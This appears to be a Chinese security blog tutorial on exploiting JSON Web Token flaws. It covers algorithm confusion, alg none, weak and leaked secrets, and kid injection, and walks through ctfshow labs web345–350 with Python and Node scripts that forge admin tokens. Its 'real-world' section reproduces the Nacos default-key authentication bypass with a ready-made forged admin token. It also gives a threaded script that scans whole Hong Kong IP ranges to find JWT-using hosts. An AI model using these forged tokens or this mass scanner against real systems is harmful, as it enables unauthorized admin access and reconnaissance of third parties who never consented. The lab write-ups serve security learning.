JWT漏洞利用

简介

JSON Web Token(JWT  https://jwt.io )是一种跨域身份验证解决方案,其主要认证原理是提供一个可信签名,利用存在客户端的secret_key将明文的鉴权数据做一个签名,用于跨域校验权限的合法性。

JWT代替cookie做站点鉴权,既方便又防止了跨域的安全风险。但是最后全部依赖于最后的签名,导致会存在认证缺陷漏洞,从而越权登录、越权修改等。

理论

JWT有三部分:

  1. 头部(Header): 存放Token类型和加密的方法
  2. 载荷(Payload): 主要包含一些用户身份信息
  3. 签名(Signature): 签名是将前面的Header,Payload信息以及一个密钥组合起来并使用Header中的算法进行加密

以jwt官网jwt.io为例:

  • Encoded(原始已编码JWT) 通过官网工具可解出==header payload signature==

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

  • HEADER:

{
"alg": "HS256",
"typ": "JWT"
}

  • PAYLOAD:

{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}

  • VERIFY SIGNATURE

HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),

) secret base64 encoded

漏洞存在地方

(1)Header部分

是否可以删除签名

是否支持修改算法为none/对称加密算法

插入错误信息

jwk元素是否可信

kid字段是否有SQL注入/命令注入/目录遍历

是否强制使用白名单上的加密算法

(2)Payload部分

其中是否存在敏感信息检查过期策略

(3)Signature部分

签名密钥是否可以爆破

检查是否强制检查

是否可以通过其他方式拿到密钥

自身存在脆弱性的算法

签名方法之间是否存在冲突

(4)其他的一些常规手法

重放

通过匹配校验的时间做时间攻击

修改算法非对称算法为对称算法(如修改RS256为HS256)

弱密钥破解

不安全的配置所导致的敏感信息泄露(如在报错信息中泄露签名)

常见安全问题

  • 测试站和主站secret_key相同:弱口令访问dev.xxx.com进去后发现返回一段token为JWT,并且之后请求数据包利用此段JWT鉴权,于是直接访问main.xxx.com即可登录成功;
    Pasted image 20241008151922.png

  • secret_key泄漏:开发者自行实现JWT过程中,往往将secret_key存在配置信息中。在部分框架报错、flask模板注入、格式化字符串漏洞、配置文件在web目录、默认key未修改、key可爆破等情况下会泄漏

    • 利用方法:利用低权限用户的JWT伪造高权限的,即可使用管理员权限登录系统。
    • 利用工具:CF0.5.0
利用原理:
base64 decode原本JWT的加密算法与JWT内容

伪造自己想伪造的内容部分

利用泄漏的secret_key对伪造的内容进行签名

靶场

ctfshow345-350

345

Pasted image 20241008162043.png
Pasted image 20241008162103.png

web346-347

和上一题一样先拿到jwt然后去jwt.io解密,这道题有两种,第一种是相当于密钥弱口令。这里盲猜123456,然后把user改成admin,用修改后的jwt加载进入,访问admin目录就可以了

web348

爆破密钥https://github.com/brendan-rius/c-jwt-cracker
Pasted image 20241008162420.png

web349
给了一个app,js发现非对称加密算法RS256泄漏私钥

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
  res.cookie('auth',token);
  res.end('where is flag?');
  
});

router.post('/',function(req,res,next){
	var flag="flag_here";
	res.type('html');
	var auth = req.cookies.auth;
	var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public key
	jwt.verify(auth, cert, function(err, decoded) {
	  if(decoded.user==='admin'){
	  	res.end(flag);
	  }else{
	  	res.end('you are not admin');
	  }
	});
});
import jwt

with open('C:\\Users\\baiyu\\Desktop\\python源码\\jwt\\private.key', 'r') as file:
    private = file.read()

header = {
    "alg": "RS256",
    "typ": "JWT"
}

payload = {
    "user": "admin",
    "iat": 1667825552
}

token = jwt.encode(
    payload=payload,
    key=private,
    algorithm="RS256",
    headers=header
)

print(token)
//eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2Njc4MjU1NTJ9.cbDuQksuw8UtIc20AzI01Gvapb3BQTMyBHVeicuI09KCRStj1Ip2Wl1hQdMUQfIZhpW1h3AXlEzKXb18leQS_7cITymYi6Ny_NDZ3hMrUr9dwiXdHGlsdQynhZvBUeKmviQu2brsF61Uaq02i5ZHZhV80hXCLC9bRpH8OI9n3jo

根据源码提示,POST提交,然后把脚本的jwt输入
Pasted image 20241008162835.png

web350
访问/public.key获得公钥

HS256算法使用密钥为所有消息进行签名和验证。

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

因为这里获得了公钥,所以我们可以将算法由RS256改为HS256,直接利用公钥进行加密和解密,不再需要私钥。

可以在这个网站在线运行https://lightly.teamcode.com

EXP

var jwt = require('jsonwebtoken');

var fs = require('fs');

var privateKey = fs.readFileSync('./public.key');

var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });

console.log(token)

常用工具

https://github.com/ticarpi/jwt_tool

主要功能

1、检查令牌的有效性
2、测试已知漏洞:
CVE-2015-2951:alg=none签名绕过漏洞
CVE-2016-10555:RS / HS256公钥不匹配漏洞
CVE-2018-0114:Key injection漏洞
CVE-2019-20933 / CVE-2020-28637:Blank password漏洞
CVE-2020-28042:Null signature漏洞
3、扫描配置错误或已知漏洞
4、Fuzz声明值以引发意外行为
5、测试secret/key file/public key/ JWKS key的有效性
6、通过高速字典攻击识别低强度key
7、时间戳篡改
8、RSA和ECDSA密钥生成和重建(来自JWKS文件)
9、伪造新的令牌头和有效载荷内容,并使用密钥或通过其他攻击方法创建新的签名

https://github.com/tyki6/MyJWT/

功能说明
  • copy new jwt to clipboard
  • user Interface (thanks questionary)
  • color output
  • modify jwt (header/Payload)
  • None Vulnerability
  • RSA/HMAC confusion
  • Sign a jwt with key
  • Brute Force to guess key
  • crack jwt with regex to guess key
  • kid injection
  • Jku Bypass
  • X5u Bypass

https://gist.github.com/imparabl3/efcf4a991244b9f8f99ac39a7c8cfe6f

脚本功能

用于利用CRLF漏洞的脚本

实战

nacos JWT硬编码登录

https://github.com/alibaba/nacos/issues/9830

漏洞描述

Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。若您Nacos未修改 secret.key,则攻击者可利用默认secret.key生成JWT Token,从而造成权限绕过访问到相关API接口。

影响范围

0.1.0<=com.alibaba.nacos:nacos-console<2.2.0.1

环境

app="NACOS" 

复现

抓取登陆包,修改响应包状态码为 200 和 body

{
"accessToken":
"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY3NTA4Mzg3N30.mIjNX6MXNF3FgQNTl-FduWpsaTSZrOQZxTCu7Tg46ZU","tokenTtl": 18000,
"globalAdmin": true,"username":"nacos"
}

Pasted image 20241008170207.png

通过筛选请求头收集香港地区JWT资产

import requests
import ipaddress
from concurrent.futures import ThreadPoolExecutor

# 定义读取文件和保存结果的路径
hk_file = "hk.txt"
output_file = "jwt.txt"

# 定义请求的超时时间
timeout = 5

# 定义请求头中的JWT关键字
jwt_keywords = ["Authorization", "Bearer", "Set-Cookie"]

# 用于存储使用JWT的IP
jwt_ips = []

# 定义函数来请求每个IP并检查是否使用JWT
def check_jwt_for_ip(ip):
    url = f"http://{ip}"
    try:
        # 发起HTTP请求
        response = requests.get(url, timeout=timeout)
        
        # 检查响应头是否包含JWT相关信息
        for keyword in jwt_keywords:
            if keyword in response.headers and "Bearer" in response.headers.get("Authorization", ""):
                print(f"JWT found on {ip}")
                jwt_ips.append(ip)
                break
    except requests.RequestException as e:
        # 忽略超时或无法连接的错误
        print(f"Error connecting to {ip}: {e}")
        pass

# 读取hk.txt中的子网并生成IP地址列表
def get_ip_list_from_file(filename):
    ip_list = []
    with open(filename, "r") as file:
        for line in file:
            line = line.strip()
            try:
                # 对每一行子网进行解析,并将IP加入列表
                network = ipaddress.ip_network(line, strict=False)
                ip_list.extend(str(ip) for ip in network.hosts())
            except ValueError as e:
                print(f"Invalid network {line}: {e}")
    return ip_list

# 将结果写入jwt.txt
def save_results_to_file(filename, results):
    with open(filename, "w") as file:
        for ip in results:
            file.write(ip + "\n")

# 主函数
if __name__ == "__main__":
    # 获取所有香港地区的IP地址
    ip_list = get_ip_list_from_file(hk_file)
    print(f"Found {len(ip_list)} IPs to check.")
    
    # 使用线程池并发处理多个IP地址,加快速度
    with ThreadPoolExecutor(max_workers=20) as executor:
        executor.map(check_jwt_for_ip, ip_list)
    
    # 将使用JWT的IP地址保存到jwt.txt
    save_results_to_file(output_file, jwt_ips)
    print(f"Saved {len(jwt_ips)} JWT-enabled IPs to {output_file}.")

参考链接:
https://xz.aliyun.com/t/12906?time__1311=GqGxuD9QiQGQdGN4CxUE%3DbGCDn7BdhW4D
https://blog.csdn.net/m0_67284865/article/details/131622674
https://developer.aliyun.com/article/727946
https://www.cnblogs.com/backlion/p/16699442.html

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
相关推荐